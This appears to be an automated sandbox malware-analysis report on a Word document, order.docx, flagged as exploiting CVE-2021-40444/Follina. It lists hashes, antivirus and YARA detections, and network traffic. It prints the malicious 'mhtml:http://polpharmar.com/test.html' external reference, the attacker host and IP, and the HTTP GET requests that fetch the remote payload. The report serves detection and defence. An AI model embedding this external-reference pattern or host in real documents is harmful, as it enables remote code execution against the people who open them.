Windows Analysis Report
order.docx

Overview

General Information

Sample Name: order.docx
Analysis ID: 676557
MD5: 8abea2d6c14af54c6eac09d158554085
SHA1: 3802d9c8b3530fe7b140cbd4a12c3895c46077b2
SHA256: aa26ed65b5b05b28fa8c56df8c0d87e6bfd8b98f962824293acce14d03cd3412
Tags: docdocxFollina
Infos:

Detection

CVE-2021-40444
Score: 68
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Detected CVE-2021-40444 exploit
Contains an external reference to another file
Yara signature match
Potential document exploit detected (unknown TCP traffic)
Uses a known web browser user agent for HTTP communication
Internet Provider seen in connection with other malware
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Document misses a certain OLE stream usually present in this Microsoft Office document type

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: order.docx Avira: detected
Multi AV Scanner detection for submitted file
Source: order.docx ReversingLabs: Detection: 69%

Exploits
barindex
Detected CVE-2021-40444 exploit
Source: document.xml.rels Extracted files from sample: mhtml:http://polpharmar.com/test.html!x-usc:http://polpharmar.com/test.html
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49175
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49175
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49175
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49175
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49175
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49175
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 91.235.116.180:80
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: polpharmar.com
Source: global traffic DNS query: name: polpharmar.com
Source: global traffic DNS query: name: polpharmar.com
Source: global traffic DNS query: name: polpharmar.com
Source: global traffic DNS query: name: polpharmar.com
Source: global traffic DNS query: name: polpharmar.com
Source: global traffic DNS query: name: polpharmar.com
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 91.235.116.180:80
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /test.html HTTP/1.1Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14)UA-CPU: AMD64Accept-Encoding: gzip, deflateHost: polpharmar.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /test.html HTTP/1.1Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14)UA-CPU: AMD64Accept-Encoding: gzip, deflateHost: polpharmar.comIf-Modified-Since: Sun, 31 Jul 2022 09:45:54 GMTConnection: Keep-Alive
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: THCPROJECTSRO THCPROJECTSRO
Source: ~WRS{FC65F658-05F2-4F35-9C52-226D776E880F}.tmp.0.dr String found in binary or memory: http://polpharmar.com/test.html
Source: ~WRF{9F5FB543-D04B-49F9-BFE7-67526990F982}.tmp.0.dr String found in binary or memory: http://polpharmar.com/test.html%
Source: ~WRF{9F5FB543-D04B-49F9-BFE7-67526990F982}.tmp.0.dr String found in binary or memory: http://polpharmar.com/test.html%x-usc:http://polpharmar.com/test.html
Source: ~WRF{9F5FB543-D04B-49F9-BFE7-67526990F982}.tmp.0.dr String found in binary or memory: http://polpharmar.com/test.htmlyX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{45FF0D1D-AF9D-41F4-B5D7-9125F330AE9F}.tmp Jump to behavior
Source: unknown DNS traffic detected: queries for: polpharmar.com
Source: global traffic HTTP traffic detected: GET /test.html HTTP/1.1Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14)UA-CPU: AMD64Accept-Encoding: gzip, deflateHost: polpharmar.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /test.html HTTP/1.1Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14)UA-CPU: AMD64Accept-Encoding: gzip, deflateHost: polpharmar.comIf-Modified-Since: Sun, 31 Jul 2022 09:45:54 GMTConnection: Keep-Alive
Yara signature match
Source: document.xml.rels, type: SAMPLE Matched rule: SUSP_Doc_WordXMLRels_May22 date = 2022-05-30, author = Tobias Michalski, Christian Burkard, Wojciech Cieslak, description = Detects a suspicious pattern in docx document.xml.rels file as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-06-20, hash = 62f262d180a5a48f89be19369a8425bec596bc6a02ed23100424930791ae3df0
Source: document.xml.rels, type: SAMPLE Matched rule: EXPL_CVE_2021_40444_Document_Rels_XML date = 2021-09-10, author = Jeremy Brown / @alteredbytes, description = Detects indicators found in weaponized documents that exploit CVE-2021-40444, reference = https://twitter.com/AlteredBytes/status/1435811407249952772
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: ~WRF{9F5FB543-D04B-49F9-BFE7-67526990F982}.tmp.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: order.docx ReversingLabs: Detection: 69%
Source: order.LNK.0.dr LNK file: ..\..\..\..\..\Desktop\order.docx
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$order.docx Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVR74D1.tmp Jump to behavior
Source: classification engine Classification label: mal68.expl.evad.winDOCX@1/20@7/1
Source: ~WRF{9F5FB543-D04B-49F9-BFE7-67526990F982}.tmp.0.dr OLE document summary: title field not present or empty
Source: ~WRF{9F5FB543-D04B-49F9-BFE7-67526990F982}.tmp.0.dr OLE document summary: author field not present or empty
Source: ~WRF{9F5FB543-D04B-49F9-BFE7-67526990F982}.tmp.0.dr OLE document summary: edited time not present or 0
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: order.docx Initial sample: OLE zip file path = word/media/image1.jpg
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: ~WRF{9F5FB543-D04B-49F9-BFE7-67526990F982}.tmp.0.dr Initial sample: OLE indicators vbamacros = False

Persistence and Installation Behavior
barindex
Contains an external reference to another file
Source: document.xml.rels Extracted files from sample: mhtml:http://polpharmar.com/test.html!x-usc:http://polpharmar.com/test.html
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 676557 Sample: order.docx Startdate: 01/08/2022 Architecture: WINDOWS Score: 68 12 polpharmar.com 2->12 16 Detected CVE-2021-40444 exploit 2->16 18 Antivirus / Scanner detection for submitted sample 2->18 20 Multi AV Scanner detection for submitted file 2->20 22 Contains an external reference to another file 2->22 6 WINWORD.EXE 303 60 2->6         started        signatures3 process4 dnsIp5 14 polpharmar.com 91.235.116.180, 49171, 49172, 49173 THCPROJECTSRO Romania 6->14 10 C:\Users\user\Desktop\~$order.docx, data 6->10 dropped file6
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
91.235.116.180
 polpharmar.com Romania
51177 THCPROJECTSRO true

Contacted Domains

Name IP Active
polpharmar.com 91.235.116.180 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://polpharmar.com/test.html true
  • Avira URL Cloud: safe
 unknown